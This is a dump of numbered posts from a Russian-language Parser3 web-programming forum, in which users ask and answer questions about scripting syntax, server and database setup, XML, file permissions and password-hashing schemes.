"29298","Т.е. вызвать т.н. \"косвенно\" такую функцию я могу через ^process. Хорошо бы перед вызовом выяснить, надо ли...\
\
Код, кстати, страшный: \
  $m[имя-какой-то-функции]\
  $n[^^$m^[^]]\
  ^process{$n}"
"29299","[code]\
@insert_function_by_name[function_name]\
^if($$function_name is junction){\
	$tmp[$$function_name]\
	^tmp[]\
}\
[/code]\
\
И, соответственно, вызываем ^insert_function_by_name[forum]"
"29301","Существует ли готовая версия Парсера для RedHat 9?  На сайте не нашел, а собрать из исходных кодов у меня возможности нет, так как операционная система стоит на хостинге.\
\
Буду признателен за подсказку."
"29302","Они ничем не отличаются"
"29303","Обращение к разработчикам. Может для того, чтобы вопросов такого плана больше не возникало, стоит написать \"redhat 7.3 или новее\" ?"
"29306","есть ли возможность получить имя файла, который щас выполняется?\
не через request:uri, а как-нибудь напрямую?\
в request во-первых еще параметров куча... да если еще rewrite engine используется там вообще ерунда написана...\
\
можно, конечно, в каждом файле определить вручную $filename какой-нибудь, но разве это красивое решение?"
"29307","в разделе \"Класс MAIN, обработка запроса\" сказано:\
\
...Инициализация заключается в вызове метода auto каждого загруженного файла. Если определение этого метода содержит параметр, при вызове в нем будет передано имя загруженного файла."
"29308","Отчего может такая пробелма возникать? Путь до libmysqlclient.so указан правильно. Операционка Fedora (redhat).\
\
Unhandled Exception (Debug)\
driver failed to initialize client library '/usr/lib/libmysqlclient.so', can not open the dynamic link module"
"29309","[b]PATH_INFO[/b]\
The extra path information, as given by the client. In other words, scripts can be accessed by their virtual pathname, followed by extra information at the end of this path. The extra information is sent as PATH_INFO. This information should be decoded by the server if it comes from a URL before it is passed to the CGI script.\
\
[b]PATH_TRANSLATED[/b]\
The server provides a translated version of PATH_INFO, which takes the path and does any virtual-to-physical mapping to it.\
\
[b]SCRIPT_NAME[/b]\
A virtual path to the script being executed, used for self-referencing URLs."
"29310","а этой страницей доки часто пользовался, например насчет postprocess, но вот что там имелось в-виду насчет сабжа - я не мог сообразить..."
"29311","мда =) угадал с 12 раза :) а ведь не дальтоник сафсем"
"29312","на одном хостинге с тем, что libmysqlclient.so называется на самом деле libmysqlclient.so.10\
попробуйте locate  libmysqlclient.so"
"29315","куда девался ПАФ?\
Просто в последнее время, заходя на форум, возникало постоянное чувство дискомфорта и неуютности.\
Только сейчас понял, что все это из-за того, что не вижу мудрых наставлений Создателя Парсера.\
Обычно ПАФ пишет, что он будет в оффлайне до такого-то числа."
"29318","как мудрые, но ВЫ никуда не девались и поэтому в этом плане я спокоен :)"
"29319","подскажите, есть ли какие-нибудь стандартные способы вывода отладочной информации в логи?\
\
типа warn в перле."
"29321","там есть про обработку исключений, а это как бы не очень интересно. интересно выводить в логи некоторую промежуточную информацию (я об этом написал, собственно)."
"29323","Старые версии парсера имели фичу $ORIGINS(1)\
В качестве вывода они давали список кусков с указанием их происхождения\
В новых версиях от нее почему-то отказались"
"29324","это, конечно, решение, но все-таки хочется, например, промежуточные результаты цикла выводить в STDERR, а при использовании throw у нас взлетает исключение и все очевидным образом на этом заканчивается.\
\
хочется просто-напросто print STDERR. в любом произвольном месте кода. не бывает?"
"29326","Хороший пример дан в документации: http://www.parser.ru/docs/lang/statusrusage.htm"
"29327","Переводницкая контора. Нужна статистика по объему работы редактора после  каждого переводчика. Нужно сравнивать текст, который \"сразу после переводчика\" и то, что уже после редактора выходит к заказчику.\
Сел писать сравнивалку текстов \"a'la diff\".\
Что-то никак не прийдет в голову алгоритм, по которому тексты сравнивають."
"29329","не писал бы сюда :)\
Тексты храняттся в базе -> достать оттуда -> сохранить во временные файлы -> почекать диффом -> привести все в читаемый вид -> отдать пользователю\
получается некрасивая цепочка. А если потом на винду?!?! или на BSD? или на Solaris?\
Я уверен , что можно решить Парсером.\
Только вот правильный алгоритм сравнивания в голову не приходит..."
"29330","[quote]/* The basic algorithm is described in:\
   \"An O(ND) Difference Algorithm and its Variations\", Eugene Myers,\
   Algorithmica Vol. 1 No. 2, 1986, pp. 251-266;\
   see especially section 4.2, which describes the variation used below.\
   Unless the --minimal option is specified, this code uses the TOO_EXPENSIVE\
   heuristic, by Paul Eggert, to limit the cost to O(N**1.5 log N)\
   at the price of producing suboptimal output for large inputs with\
   many differences.\
\
   The basic algorithm was independently discovered as described in:\
   \"Algorithms for Approximate String Matching\", E. Ukkonen,\
   Information and Control Vol. 64, 1985, pp. 100-118.  */[/quote]\
\
это из заголовка analyze.c из пакета diff... 30000+ символов только в этом файле... \
хотите портировать это на Parser?"
"29331","Приветствую,\
используй свойство opener объекта window\
на body onLoad третьего окна повесь функцию в теле которой \
вызови последовательно\
window.opener.somefunc_closeopener\
window.opener.close()\
\
а в хедере документа второго окна определи функцию somefunc_closeopener, где будет \
window.opener.close()\
\
либо сразу в третьем окне на онлоад вызывай\
window.opener.opener.close()\
window.opener.close()\
\
с закрытием второго окна проблем не будет, т.к. оно было открыто яваскриптом, при закрытии первого же, согласен с Олегом,  может появиться кофирм-сообщение о закрытиии окна (обойти это нельзя - встроено в ситему безопасности броузеров от зловредных яваскриптов)"
"29333","в дочернем классе пишу:\
\
@init[param]\
^BASE:init[param]\
\
но это он передает один параметр... а как передать все, что придет - не нашел ни в доке, ни на форуме... может, какой-нибудь хеш специальный бывает?"
"29334","нехай param будет иметь вид\
[code]\
^init[\
    $.path[/]\
    $.title[Заголовок]\
    $.body[тело]\
    $.visible(1)\
    ...\
]\
[/code]\
и передавать всюду просто, и число ключей в таком случае неограничено."
"29335","[b]нехай param будет иметь вид[/b]\
да ради бога, только как тогда придать ему такой вид?\
как мне написать-то что надо вызывать метод init родителя со всеми передаваемыми параметрами?"
"29337","код:\
\
@init[param]\
^BASE:init[$param]\
\
init\
\
method of L_auth (L_auth) accepts maximum 1 parameter(s)"
"29339","вся задача - заменить пару методов Мишиного класса авторизации auth.p\
\
мне показалось, что правильно так:\
создаешь новый класс с новым именем\
говоришь что у него родитель auth.p\
переопределяешь нужные методы и вызываешь на странице уже новый класс где будут либо неизменные методы родителя, либо замененные свои...\
\
и вот при инициализации говорит что параметры надо, однако..."
"29340","похоже, что у вас конструктор описан именно так, как вы указали в форуме, а объект вы создаете передавая конструктору больше 1 параметра.\
\
неужели так сложно в конструкторе дочернего объекта передать родительскому конструктору 3 параметра?"
"29341","Сколько не перичитывал доку, так и не понял, к чему \"мы должны стремиться\" (об объединении методов в классы)\
\
Все, до чего дошел, это вынести некоторые методы в отдельный файл. А как же сделать свой класс?"
"29342","Можно ли делать поддомены с помощью modrewrit'а? Т.е. чтобы адрес\
http://vasia.something.net на самом деле ссылался на http://something.net/vasia/?"
"29343","основное. чем объект (это есть экземпляр класса) отличается от набора методов + данных это то, что эти связанные методы и данные объединены.\
\
или несколько иначе: объект это набор связаных даных плюс методы для специфического манипулирования этими данными.\
\
если есть какой-то набор даных и нам нужно написать несколько методов  для манипулирования этими данными, причем таких методов, которые сами по себе, в отрыве от этих данных бессмысленны - это говорит о том, что тут хрошо-бы объединить эти методы и данные в одной сущности - объекте.\
\
пользовательский объект можно рассматривать как... хеш, в котором вы пишите свои методы.\
\
объединяя данные с методами в объекте сразу-же решается задача по защите данных (уменьшается вероятность объявления глобальной переменной $xyz которая уже использовалась и которую перекрывать было низя.)\
\
данные между методами объекта можно не передавать через параметры, т.к. эти данные являются как-бы глобальными в пределах объекта, и это нормально, т.к. сам объект создавался как контейнер для того, чтобы с помощью его методов было просто манипулировать его данными."
"29344","вопрос был как раз в этом - можно ли передать \"любое количество параметров, которое бы не передали\" вот и все...\
это понятно, что я просто могу param1 param2 ... paramN передать...\
ну раз нельзя неопределенное количество, сделаю списком...\
просто родительский класс - это auth.p, который как бы может измениться в любой момент, а мне надо перекрыть-то там по мелочи...\
вобщем, ответ получен - нельзя, а остальное мелочи..."
"29345","если вы заметили, то в его третьем параметре можно передавать что угодно (хеш), так что завтря я не добавлю его конструктору четвертый параметр, а послезавтра - пятый.\
\
изначально вопрос задавался безотносительно к auth, и вам сказали что можете все параметры передавать как один, сделав его хешом.\
\
передать все параметры разом - нельзя, да и по моему незачем это делать."
"29346","Я где-то читал, можно.\
Дома 3-4 книжки и в одной их них точно помню написано как это сделать, но искать некогда."
"29347","Здравствуйте! \
\
Не хочу показаться ленивцем, но так бы хотелось, чтобы уже где-то существовали готовые скрипты под форум, например, написанные на Парсере, или для блога... А то всё равно получается очень долго писать своё...\
\
Может быть где-то и есть, а я не знаю?"
"29348","Да есть, но мне не понравился\
плмотри/спроси http://www.nbsp.ru/forum/, может дадут"
"29349","Напишите своему хостеру да спросите. ИМХО, это не реврайтом делается. Да и зачем... ?"
"29350","Никогда раньше не использовал XML, но тут хочу понять суть:\
если его все же использовать, то нужна ли MySQL база, как это все взаимодействует? Скажем лента новостей сайта\\записей из форума. Класть ли новости в базу, или в XML? Есил в XML-файл, то каждый раз в новый, или дописывать в конец старого? Как это парсером будет звучать?"
"29351","Всё зависит от того для чего вы хотите использовать xml\
1 Можно для хранения данных (это как правило медленнее чем в БД)\
2 Можно как промежуточное звено програмной и дизайнерской частью\
\
Я предпочитаю в БД, а если xml, то наверно быстее будет каждый раз в новый файл.\
\
Как звучит парсером, можно посмотреть в доке в уроках."
"29352","хотя в некоторых простых случаях это так.\
\
для каждой задачи - свой инструмент."
"29354","$a[^hash::create[]]\
$b[^hash::create[]]\
\
и $а и $b - объекты\
и $a и $b имеют тип 'hash'\
\
можете представить себе, что есть [b]класс[/b] hash и есть [b]объекты $a и $b[/b] которые являются экземплярами этого класса.\
\
P.S. любая книжка по ООП расскажет вам больше."
"29355","Дайте и мне выпендриться :) вот линк в тему http://russian.joelonsoftware.com/Articles/BacktoBasics.html\
\
Цитата оттудова:\
[quote]\
Как хорошо известно каждому разработчику компиляторов, лексический разбор и парсинг представляют собой наиболее медленные стадии компиляции. Достаточно сказать, что при разборе XML и построении дерева в памяти используется масса строковых операций, которые, как мы выяснили, медленные. И это при условии, что у вас есть достаточно памяти, чтобы запихать туда всё целиком. В случае реляционных баз данных время, необходимое для перехода от записи к записи фиксировано и определяется временем выполнения одной команды процессора . Просто по определению. И благодаря файлам, отражённым в память, вам надо будет загружать в память только те страницы, которые используются. В случае XML, если парсить заранее, то затраты времени на перемещение от одной записи к другой фиксированы, зато при этом время запуска большое, а если заранее не парсить, то время перехода от записи к записи зависит от длины записи и в любом случае это сотни процессорных инструкций.\
\
Для меня это означает, что если надо работать с большими объёмами данных и при этом не терять в производительности, то использовать XML нельзя. Если данных немного, или то, что вы делаете, не обязано работать быстро, тогда XML годится.[/quote]"
"29356","Класс - человек разумный\
Объект - Demolution\
\
Это понятно?"
"29357","самому лень это каждый раз делать, может класс нарастите?\
\
смысл очень простой - при формировании формочки авторизации также передается случайный код (К)\
на сервере хранится отпечаток (для простоты возьмем как будто MD5)\
когда юзер в форме вводит пароль (П), java скрипт его кодирует так:\
md5(К+MD5(П)) и передает серверу... сервер делает md5(К+уже_кодированый_из_базы) и принимает решение - совпало или нет...\
\
смысл в том, что перехватить траффик от сервера к клиенту труднее, чем от клиента серверу (у нас, по крайнем мере), так как на роутере таблица mac задана жестко и не поддается примитвным ARP poisoning атакам... а от пользователя идет уже зашифрованый каждый раз по-другому пароль... сессию, конечно, перехватить можно все равно, если постараться, но зато пароль не будет засвечен в сети... да и даже если перехватит он этот К - ему это не сильно поможет..."
"29360","Я пишу класс анонимных сессий.\
Для чего это нужно:\
1) Как основа для не анонимных сессий\
2) Как основа для счётчиков и голосования\
3) Для классификации пользователей по уровню доверия (У него давно лежит кук - разрешим ему голосовать, этот куки не поддерживает пропустим все сообщения через модератора перед публикацией, этот с анонимного прокси пришёл - отрубим хвост по самые уши, ...)\
4) Думаю можно придумать для чего ещё\
\
логику в схмах я выложил по ссылке http://asha-city.ru/project/sessions/session_logik.gif (58308 Байт)\
\
Прошу попинать мои мысли в форуме, может, чего ещё придумаем или упростим.\
\
Основные положения\
Для каждого компьютера создаётся сессия, даже две одна временная на ip адрес, другая постоянная по куку\
В случае если куки не поддерживаются ведётся только сессия по ip, а сессия по куку производит проверку на возможность ведения сессии\
IP сессии являются неотъемлемой частью, кук сессий, они исключают повторную запись в бд кукuid, для машин не поддерживающих куки\
Также в классе предусмотрен метод для проверки ip на предмет анонимного прокси (по БД, сейчас это ~1600 прокси серверов, ip адресов несколько меньше тк некоторые прокси работают на одном ip, но по разным портам)\
\
\
Ps обещаю плод сей мозговой деятельности выложить для публичного использования"
"29361","зачем при данной схеме авторизации хранить на сервере \"отпечаток\" пароля?\
Ведь среднестатический пароль всё-равно короче своего MD5-хеша, можно много места на сервере сэкономить...  :)"
"29362","Ребятушки, что-то у меня Парсер-то не выходит включить...\
\
У меня Windows Xp, Apache 2.0.43 Server, Active Perl v5.8.0, MySql v3.23.53\
 Домашний виртульный хост\
\
я устонавливаю Парсер в директорию с сервером /server/parser/ выбираю CGI без XML (вроде), далее создаю новый виртульный хост, там все работает...кроме прасера, будь неладны мои кривые ручки...пишу туда файл .htaccess с тем, что в ридми пишут, нифига, ПЛОХАЯ КОМАНДА пишет... что делать то?\
\
P.S. Лебедев - негодяй... %)"
"29363","Есть такая форма правки данных из базы данных. Все работает. Но когда я нажимаю в этой форме обновить, он посылает пустые данные, и все значения обнуляются.\
Может из-за этого?\
<META HTTP-EQUIV=\"pragma\" content=\"no-cache\">\
\
@body[]\
  ^connect[$connect_string]{\
     $news[^table::sql{select\
        id, type, date, header, author, ptxt, jpg\
     from\
        news\
   where\
      id='$form:i'\
     }]\
<FORM method=post><p>\
<table width=\"100%\"  border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\
  <tr>\
    <td>id</td>\
    <td>Раздел</td>\
    <td>Дата</td>\
    <td>тема</td>\
    <td>автор</td>\
    <td>текст</td>\
    <td>рисунок</td>\
  </tr>\
  <tr>\
    <td>$news.id</td>\
    <td><input value=\"$news.type\" SIZE=8 name=\"type\"></td>\
    <td><input value=\"$news.date\" SIZE=8 name=\"date\"></td>\
    <td><input value=\"$news.header\" SIZE=8 name=\"header\"></td>\
    <td><input value=\"$news.author\" SIZE=8 name=\"author\"></td>\
    <td><TEXTAREA name=ptxt rows=10 cols=30>$news.ptxt</TEXTAREA></td>\
    <td><input value=\"$news.jpg\" SIZE=8 name=\"jpg\"></td>\
  </tr></table></p>\
<p><input type=\"submit\" value=\"Изменить\" name=\"posted\"></p></FORM>\
^connect[$connect_string]{ \
^void:sql{\
UPDATE news\
	SET type='$form:type', date='$form:date', header='$form:header', author='$form:author', ptxt='$form:ptxt', jpg='$form:jpg'\
	WHERE id='$news.id'\
}\
}\
}"
"29364","http://www.km.ru/news/view.asp?id=F5B8F2F2502E4F0E8F1A1BCEE802BF81"
"29365","Надо в CGI директорию, при этом ненадо забывать про .htaccess, Вообще рекомендую почитать доку там всё написано, затем если возникают вопросы поиск по форуму и faq (раздел такой), и только потом вопрос в форум"
"29366","Может, поставить проверку нажатия кнопки изменить?\
\
[code]\
^if(def $form:posted){\
  Постим данные}{\
  Делаем вид, что ничего и небыло}\
[/code]"
"29367","Еще одно спасибо за неразрывный пробел!!"
"29368","извеняюсь за флуд, работает :))"
"29370","в XML еще удобно хранить деревья с короткими записями. Например, изменил структуру сайта, сгенерировал новое дерево. И БД каждый раз дергать не надо. А вот если данные типа новостей, статей - то это только БД - проверил лично. В XML еще можно настройки хранить, или генерить его Парсером и отдавать на растерзание шаблонам оформления XSL - но этот способ дизайна имеет серьезные минусы - меньшую гибкость, дополнительные сложности при реализации и потерю скорости при трансформации"
"29372","чтобы хакер, получивший доступ к этой таблице, не получил сразу все пароли в чистом виде..."
"29375","разве что ради любопытства...\
\
а для его грязных целей ему и \"отпечатка\" вполне достаточно, что ему мешает на стороне клиента вместо md5(К+MD5(П)) сделать md5(К+уже_кодированый_из_базы)?"
"29376","У хостинга задана домашняя директория\
/pub/home/kino/\
\
Все файлы доступные из вне находятся\
/pub/home/kino/www/\
\
Я разместил закрытые файлы в каталог\
/pub/home/kino/_images\
\
И каким образом их открывать скриптами?\
Ведь конструкция\
^file::load[binary;/pub/home/kino/_images/img.jpg]\
будет открывать файл относительно корня веб-пространства!\
\
Что делать?"
"29378","^file::load[binary;../_images/img.jpg]"
"29382","Я что просто так туда ее пихаю? Надо их закрытыми сделать. И чтоб сам скрипт их особоуполномоченным отдавал, а не всем подряд.\
\
Я конечно могу их запаролировать средствами апача и есть еще метод скрыть их. Но в прошлый раз когда я задавал этот вопрос в форуме меня почему-то отсюда прогнали и ответа не дали! Хочу вот узнать, так уже пришло время это делать."
"29383","Спасибо. А более красивого способа нету?\
Я пробовал с указанием логического диска - получилось. Но провайдер не дает логических дисков!"
"29384","Я знаю ещё 3 способа \
1) Запретить доступ через .htaccess (ккак это делается с файлами *.cfg и *.p)\
2) Закрыть модреврайтом\
3) Хранить в БД под другим пользователем(ями)\
\
зы Для васокой степени параной рекомендую 3й вариант"
"29385","Когда я начал изучать XML,\
казалось, что это универсальный инструмент и БД мне уже не понадобиться.\
\
Сейчас мое мнение изменилось, \
думаю что XML удобен когда:\
\
 - используются древовидные структуры (напр. карта сайта) и желательна возможность изменения в текстовом редакторе.\
\
 - на предприятии используется 1С, в ней есть экспорт в CommerceML (XML) и необходимо сделать каталог продукции.\
\
 - где не критична скорость или мало данных и не хочется использовать БД, хотя методы ускорения есть, но это уже XML не касается.\
\
 - для разделения содержания (XML) и оформления (XSL), причем ничто не мешает это использовать для всех страниц сайта, в случае если данные хранятся в БД, получается цепочка \
(БД->XML)+XSL=HTML.\
\
Т.е., для меня, XML(+XSL) - это инструмент вывода всегда, \
а инструмент хранения - когда это удобно, в остальных случаях для хранения используется БД."
"29386","IMHO более красивого не будет так как /../* простой и естественный путь операционной системы. Все остальное от лукавого ;-)"
"29388","к скрипту, работающему с консолью, надо обращаться с консоли.\
не через веб."
"29390","если разобрались, и не лень, опишите вкратце?"
"29391","который научит parser авторизовываться."
"29392","Значит не дождаться. Бум решать проблему с другого конца."
"29394","в CVS было поправлено давно, но в download/src выложено только что."
"29395","войдёт в 3.1.4"
"29396","или обязательно ручками"
"29397","Решение есть - простое и замечательное:\
ну ее нафиг эту твою InnoDB - и перейти на MyISAM.\
\
Или сортировать дамп вручную..."
"29398","\"Ну её\" не годится. А вот сортировать в ручную - это выход, но как быть с большими БД?\
\
Я думаю, что есть какое-нибудь решение, но я его пока не нащёл."
"29399","ведь ^aaa.length[] немаленький.\
переменную вы не зачистили.\
\
и что-то хотите?"
"29400","Paf, не дразните общественность, которая загорает пока только от излучения мониторов.\
\
Ничего, будет и на нашей улице праздник - ближе к осени ;-)"
"29401","Стоит ли пользоваться phpMyAdmin? если да, то где бы взять понятную русскоязычную документацию? Никто не встречал MySql-Front на русском?"
"29402","Есть несколько сайтов, хостящихся на машине. Один parser3.exe, с ним рядом auto.p.\
[code]\
$CLASS_PATH[^table::create{path\
/../../classes\
/../classes\
./classes\
.\
}]\
[/code]\
Вот такие каталоги:\
[code]\
www\\\
   site_1\\\
      classes\\\
         личные классы для первого сайта.p\
      www\\\
         document_root_1.html\
   site_2\\\
      classes\\\
         личные классы для второго сайта.p\
      www\\\
         document_root_2.html\
   classes\
      общие классы.p\
[/code]\
То есть, у каждого сайта есть свой набор классов, есть общая куча, есть возможность прописывать локальные классы для каждого каталога.\
\
Есть необходимость запускать разные скрипты на парсере по крону, при этом скрипты лежат в разных местах файловой системы, но все они хотят получить доступ к общей куче классов.\
\
Как это сделать, если в случае запуска \
[code]\
/long/path/parser3.exe script.p\
[/code]\
пути показываются от текущей каталога, то есть места, где лежит script.p? \
Можно конечно линков понаделать к нужным *.p, но. Или запускать парсер через обёртку.bat и как-то переделывать переменные окружения. Но тогда сломается(?) работа с файлами в script.p."
"29403","для меня ближе к осени 2006-2007"
"29405","но может быть использована повторно.\
при соблюдении простых условий, который приведённый эксперимент не соблюдает."
"29406","[повторяю: по ODBC]\
\
и пустить тот же запрос."
"29407","вы в dirname[>>ничего не передали<<]\
значит, речь идёт о некоем файле без имени, без каталога.\
файл без каталога, это файл в текущем каталоге.\
текущий каталог обозначается \".\""
"29408","ошибка в нём."
"29409","эта опция обрабатывается, начиная с 3.1.2"
"29410","что баг невоспроизводимый.\
Случается из-зи непонятных причин.\
Я уже начинаю грешить на хостера. Возможно это он чего-то с квотами понакручивал."
"29411","На главной странице \"парсера\" написано: \"Добавлена возможность отложенной отправки письма на unix. Задайте ^mail:send[$.options[-odd]…]. Полный список опций см. в документации sendmail. (Недоступна в safe-mode версии)\"\
\
Если кто-нибудь знает, как работает эта опция sendmail'а, напишите пояснее, пожалуйста. Скажем, мне нужно отправить письмо ровно через час -- как это сделать? (Я читал man sendmail довольно долго, но разобраться не сумел).\
\
Проблема в следующем: на хостинге стоит ограничение на кол-во исходящих писем -- 200 штук в час. А мне нужно сделать рассылку (скажем) на 300 человек. Не хочется писать скрипт, который будет по крону вызывать себя сам через час для отправки новой порции рассылок... Кто-нибудь сталкивался с такой проблемой?"
"29412","Вот у меня вообще первым в жизни отпуском (после 3 лет работы) был медовый месяц ;-)"
"29415","Просто повод нехилый, вот что ;-)"
"29416","и достаточно определить функцию в базовом классе, которая ничего не делает."
"29417","и времени и скорости.\
работа со строками в 3.1.0 parser была радикально переписана."
"29418","Добрый день!\
Проблема такая:\
есть Апачи, который не понимает русских букв в строке адреса.\
Для этого в Парсере есть функции taint/untaint. Они как известно преобразовывают русские буквы в вид %XX.\
В Javascripte есть функции escape/unescape, которые преобразовывет русские буквы в вид и из вида %uXXXX, используя UNICODE.\
Каким образом прочитать параметр, переданный через ссылку, зашифрованный этим самым escape'ом?\
\
^Untaint[as-is]{} в этом случае не работает.\
т.е. \
^Untaint[as-is]{%E2} выдает русскую букву \"В\"\
^Untaint[as-is]{%u0432} выдает пустоту. (хотя это тоже эта буква, но в кодировке UniCode)\
\
Спасибо."
"29419","на win32 есть cygwin.\
если на некоей платформе не будет обычного режима вывода (т.н. unified), всегда можете собрать diff их исходника. благо дополнительных библиотек ему не нужно, и написан на голом C."
"29420","http://www.parser.ru/forum/?id=24481\
http://www.parser.ru/forum/?id=24493"
"29422","и пожалуйста,\
1. сначала пробуйте\
2. потом спрашивайте"
"29423","1.\
создать create без foreign keys, \
создать отдельно ворох alter table?\
\
1a. если не умеет, пара макросов в редакторе даст тот же результат.\
\
2.\
в MSSQL есть возможность глобально отключить проверку integrity, потом глобально включить."
"29424","1.\
Settings|Control panel|Scheduled tasks... [new]\
там есть Working directory. просто задайте её?\
\
2.\
если почему-то пользуетесь другим способом создавать регулярные задачи, то можно\
command = \"cd /document/root && /path/to/parser path/to/script.p\"\
\
попробуйте прямо сейчас\
[code]\
c:\
cd \"Program Files\"\
cd \\ && dir\
[/code]"
"29428","Т.е. проблема то осталась...\
Функция \
my_escape(str) от Pavel Zagrebelin \
не обрабатывает обычные буквы..."
"29429","Обычные буквы прекрасно обрабатывает сам браузер. Если выполнить js вида\
[code]\
location.href=\"test.html?\"+my_escape(\"русские буквы, пробелы и +\");\
[/code]\
то всё будет хорошо: пробелы, плюсы и &amp; обработает my_escape, остальное -- браузер.\
\
Или перед вами стоит другая задача? Мне требовалось отправить данные из сложной dhtml страницы, которая долго формируется пользователем и js."
"29430","изменил working dir на document_root какого-то сайта."
"29431","В хеше я могу хранить черта лысого, в том числе и таблицы. А вот в таблице что-то не выходит хранить другие таблицы...\
Это вообше возможно?"
"29432","Посмотрите как все это реализовано на http://www.livejournal.com/, страница логина.\
Там обычный JS"
"29434","Я в глубине души надеялся...\
Пришлось забацать офигительнейший хеш. Боюсь только, что с утра с трезвых глаз буду смотреть на энту фиговину как на \"Гернику\" Пикассо (-:"
"29435","можно сделать так\
\
id table_id parent_table_id coll row string1 string2 ....\
\
получается логическая организация несколькиз таблиц в пределах одной с бесконечной вложенностью и тормозами ;).\
Руками конечно такое редактировать будет непросто, а вот скриптами возможно, правда, надо признать, в cfg это будет работать крайне медленно"
"29436","http://www.mysql.ru/webboard/index.html?n1=4472&n2=3&page=1\
\
только при работающем сервере скопировать файлы, наверняка не удастся :( но и времени займет не много.\
\
реальные проблемы скорее всего могут возникнуть у тех, кто хостится хрен знает где с не отзывчивым и ленивым админом."
"29437","Можно ли держать текст скриптов Парсера в таблице?\
\
Я сделал так:\
[code]\
^connect[$SQL.connect-string]{$spr[^string:sql{select parser from reports}]}\
# поле parser содержит фразу $date_now[^date::now[]] $date_now.month\
[/code]\
\
Теперь при обращении\
[code]\
$run{$spr}\
$run\
[/code]\
Он мне так и выдает текст поля, но не результат выполнения указанной команды.\
\
В то же время, если написать текст ручками\
[code]\
$spr[$date_now[^date::now[]] $date_now.month]\
$run{$spr}\
$run\
[/code]\
\
то все работает."
"29438","Ответ: возможно, но крайне не желательно"
"29440","В: почему «не работает» первый пример: $run?\
О: он работает, выполняет код «вывести значение переменной spr», у spr строчное значение, оно и выводится.\
\
В: почему «работает» первый пример: $run?\
О: он не работает, поскольку в $spr содержится готовая строка, вовсе не код. чтобы легко понять, впишите $spr[^bug[]] и обратите внимание, что падает, даже если не делать $run."
"29441","Unhandled Exception (Debug)\
undefined method\
navigation\
\
l:/home/localhost/www/mytest/index.html(1)\
exception.type=parser.runtime"
"29442","не говорите, что прочли."
"29443","Какой именно раздел?\
весь форум облазил \
Подскажите все вроде правильно делаю"
"29444","делаете неправильно.\
сообщаете о проблеме тоже неправильно.\
почитайте, как спрашивать, в FAQ."
"29445","Все делал по документации\
файл .htaccess имеет след. вид.\
\
[code]\
AddHandler parsed-html html\
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
<Files ~ \"\\.p$\">\
Order allow,deny \
Deny from all\
</Files>\
[/code]\
\
в файле вылезает след. ошибка\
\
Unhandled Exception (Debug)\
undefined method\
navigation\
\
l:/home/localhost/www/mytest/index.html(1)\
exception.type=parser.runtime \
\
версия -  Denver скаченный с этого сайта"
"29446","пожалуйста, переведите сообщение об ошибке на русский язык.\
что оно значит?"
"29449","1"
"29451","@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>"
"29452","(содержимое правильное)"
"29456","возможно, в ЕГО название вкралась русская буква?\
\
ещё способ проверить: впишите в начало auto.p такое:\
[code]\
@auto[]\
^bug[]\
[/code]\
\
в вашем случае, видимо, ошибки не будет."
"29457","Unhandled Exception (Debug)\
undefined method\
bug\
\
l:/home/localhost/www/mytest/auto.p(2)\
exception.type=parser.runtime"
"29458","Завтра еду на выставку. \
Кто там был в этом году? Есть что нового по сравнению с прошлым годом?\
\
Извините за офтопик."
"29459","вам проще писать в форум, чем сесть и проверить?"
"29461","если не опасаетесь тухлого помидора, если выяснится, что опечатка есть? :)\
\
положите в него оба ваших файла, auto.p и index.html"
"29465","(не может)"
"29466","сут в том что взял DHTML редактор(упоминание о нем нашел на форуме) \
\
там есть такая строка:\
\
[code]<input type=\"button\" name=\"Submit\" value=\"Отправить &raquo;\" OnClick=\"ShowHTML(), document.Add.submit()\">[/code]\
\
так вот если я потом начинаю обрабатывать форму то у меня ничего не выходит то есть просто форма обратно вываливается пустая а в базу ничего не заносится... подскажите пожалуйста связку DHTML редактор+парсер :( а то савсем замучался или покажите как у вас устроено....\
\
заранее спасибо..."
"29467","честно пытается читать с диска sections.cfg [когда я ^bug[] убрал].\
\
вывод: вам нужно отдохнуть и попробовать на свежую голову.\
файлы вы делаете правильные, но, видимо, помещаете их не в тот каталог, или прислали, взяв не оттуда.\
\
[code]\
c:/drives/y/parser3project/parser3/www/htdocs/_bug/sections.cfg\
read failed: No such file or directory (2), actual filename 'c:/drives/y/parser3project/parser3/www/htdocs/_bug/sections.cfg'\
c:/drives/y/parser3project/parser3/www/htdocs/_bug/auto.p(2:19) \
--------------------------------------------------------------------------------\
load c:/drives/y/parser3project/parser3/www/htdocs/_bug/auto.p(2:19) \
navigation c:/drives/y/parser3project/parser3/www/htdocs/_bug/index.html(1:2) \
[/code]"
"29468","Может банальный пробел в конце строки\
@navigation[]\
 - если так его надо убрать"
"29469","была в phpMyAdmin хорошенькая такая кодировочка koi8. Как бы ее обратно прицепить?"
"29470","Какие права доступа нужно назначать файлам?\
\
\
прощу прощения, если эта тема уже обсуждалась."
"29471","а так, дефолт:\
тексты - 644\
скрипты - 755"
"29472","Скачайте полную версию и замените ей ту, что в денвере"
"29473","Если сервер позволяет, то лучше 600 и 700 соотв."
"29474","Дружба парсера и java-скриптов выражается только в том, чтобы их вывести в страницу без искажений. Не в парсере, видать, дело... Document.Add.submit() - \"Add\" это что, id формы? Можно Document.forms[0].submit() если <FORM> первая в странице."
"29475","Судя по базару ;) os типа *n*x.\
Если сервер/parser работает с suexec (скорее всего) то можно и -rwx------(700) для исполняемых и -rw------- (600) для остального. И даже 500 и 400 соответственно ;-) Нули в данном случае лишают Вашу группу и всех прочих посторонних доступа к файлам."
"29477","При загрузке файлов проявляется ошибка(под Win32,FreeBSD, 3.1.2, CGI, на 3-х машинах) через:\
[code]\
$myfile[^xdoc::load[1.xml;$.method[POST] $.headers[$.User-Agent[parser3]] $.any-status(1)]]\
[/code]\
Парсер формирует ошибку:\
'load' method of xdoc (stateless_class) accepts maximum 1 parameter(s) [parser.runtime]\
\
При запуске того же скрипта под FreeBSD(CGI, 3.1.1) ошибок нет!\
\
В случае, если необязательные параметры опускаются:\
[code]\
$myfile[^xdoc::load[1.xml]\
[/code]\
то все нормально.\
\
Дополнительные параметры нужны обязательно...\
Посоветуйте что можно сделать?!"
"29479","Есть два метода хранения текстовой информации (статья, анонс, запись в гостевой, новость), в базе данных и обычное хранение в файликах.\
\
На сколько я понимаю основная проблема в работе с текстами -- это  поиск.\
\
